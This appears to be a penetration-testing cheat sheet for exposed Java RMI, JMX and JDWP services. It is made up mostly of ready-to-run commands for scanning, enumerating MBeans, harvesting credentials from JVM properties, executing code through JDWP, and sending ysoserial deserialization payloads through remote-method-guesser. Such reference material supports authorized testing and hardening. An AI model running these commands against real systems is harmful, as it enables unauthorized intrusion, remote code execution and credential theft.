Java RMI, JMX and JDWP

Java RMI, JMX, and JDWP expose Java remote objects, management operations, and debugging interfaces. In pentests, unauthenticated Java management ports can reveal runtime data, MBeans, system properties, credentials, and sometimes code execution paths.

Connect

RMI Registry

RMI registry enumeration identifies bound names and remote objects.

nmap -p 1099 -sV target.com
rmg enum target.com 1099
rmg enum target.com 1099 --actions

JMX

JMX exposes JVM and application management data.

nmap -p 9010,9999,1099,7199 -sV target.com
java -jar jmxterm.jar -l target.com:9010
java -jar jmxterm.jar -l service:jmx:rmi:///jndi/rmi://target.com:1099/jmxrmi

JDWP

JDWP is a debug protocol and should not be exposed in production.

nmap -p 5005 -sV target.com
printf "JDWP-Handshake" | nc -nv target.com 5005

Recon

Service Detection with Nmap

Scan common Java application, management, and debug ports.

nmap -p 1099,5005,7001,7199,8000,8009,8080,9010,9999 -sV target.com
nmap -p 1099 --script rmi-dumpregistry target.com
nmap -p 5005 --script jdwp-info target.com

Product Context

Nearby services help identify Tomcat, JBoss, WebLogic, Cassandra, Kafka, or custom JVM apps.

nmap -p 80,443,8080,8081,8443,9990 -sV target.com
httpx -u http://target.com:8080 -title -tech-detect -status-code

TLS and Binding Review

JMX and RMI may expose dynamic ports in addition to the registry port.

rmg enum target.com 1099 --scan-action bound
nmap -p- --min-rate 5000 target.com

Enumeration

RMI Enumeration

Enumerate bound names, methods, and endpoint classes.

rmg enum target.com 1099
rmg guess target.com 1099
rmg known target.com 1099

JMX Enumeration

Use JMX to list domains, MBeans, attributes, and operations.

java -jar jmxterm.jar -l target.com:9010
domains
beans
info java.lang:type=Runtime
get java.lang:type=Runtime SystemProperties

JDWP Enumeration

The JDWP handshake confirms debug access.

printf "JDWP-Handshake" | nc -nv target.com 5005
nmap -p 5005 --script jdwp-info target.com

JVM Secret Review

JVM arguments and system properties may contain credentials.

get java.lang:type=Runtime InputArguments
get java.lang:type=Runtime SystemProperties

Attack Vectors

Exposed RMI Registry

RMI exposure may allow method discovery, deserialization testing, or unsafe remote object access.

rmg enum target.com 1099
rmg call target.com 1099 bound-name method-name

Unauthenticated JMX

Unauthenticated JMX can expose MBeans and dangerous operations.

java -jar jmxterm.jar -l target.com:9010
beans
info com.example:type=*

MLet Abuse

Some JMX deployments allow loading remote MBeans.

java -jar jmxterm.jar -l target.com:9010
bean javax.management.loading.MLet

JDWP Code Execution

Exposed JDWP can be used to execute code inside the JVM.

jdwp-shellifier.py -t target.com -p 5005 --cmd "id"

Deserialization Risk

RMI and JMX may expose Java deserialization paths.

rmg serial target.com 1099 CommonsCollections6 'id'
ysoserial CommonsCollections6 'id'

Post-Exploitation

Runtime Review

Collect JVM version, arguments, properties, and application names.

get java.lang:type=Runtime VmName
get java.lang:type=Runtime VmVersion
get java.lang:type=Runtime InputArguments
get java.lang:type=Runtime SystemProperties

Credential Review

Search runtime properties and configs for secrets.

grep -Ei 'password|secret|token|jdbc|ldap|aws|apikey' jmx-output.txt

Evidence Collection

Save minimal proof of exposure and accessible operations.

rmg enum target.com 1099 > rmi-enum.txt
nmap -p 5005 --script jdwp-info target.com -oN jdwp-info.txt

Useful Tools

Tool	Description	Primary Use Case
nmap	Network discovery and security auditing tool with NSE (Nmap Scripting Engine) support.	Identifying exposed RMI, JMX, and JDWP services and performing version detection
remote-method-guesser	Java RMI enumeration tool that identifies remote objects, interfaces, and callable methods.	Enumerating Java RMI services and assessing exposed functionality
jmxterm	Interactive command-line client for Java Management Extensions (JMX).	Enumerating MBeans, invoking operations, and reviewing JMX configurations
jdwp-shellifier	Security assessment tool for the Java Debug Wire Protocol (JDWP).	Validating exposed JDWP services and demonstrating remote code execution risks
ysoserial	Java deserialization payload generator for security testing.	Testing insecure Java deserialization vulnerabilities in authorized environments
nc (Netcat)	TCP/IP networking utility for reading and writing network connections.	Verifying service availability, testing connectivity, and performing JDWP handshake validation

Common Security Misconfigurations

Misconfiguration	Description	Security Risk
RMI service exposed	Java RMI service is accessible from untrusted networks.	Increases the attack surface for remote object access, deserialization attacks, and potential remote code execution.
Unauthenticated JMX access	JMX management interface is exposed without authentication or encryption.	Allows unauthorized monitoring, JVM management, application manipulation, and potential code execution.
Exposed JDWP service	Java Debug Wire Protocol (JDWP) is accessible remotely.	May allow attackers to debug applications, execute arbitrary code, and fully compromise the JVM.
Sensitive JVM properties exposed	Credentials, API keys, or secrets are stored in JVM arguments or configuration files.	Results in credential leakage and unauthorized access to backend services.
Dynamic RMI ports exposed	Dynamically assigned RMI ports are publicly accessible.	Expands the attack surface and exposes additional management interfaces.
Missing network access restrictions	Management services are accessible from untrusted or public networks.	Enables unauthorized access, reconnaissance, and exploitation of administrative services.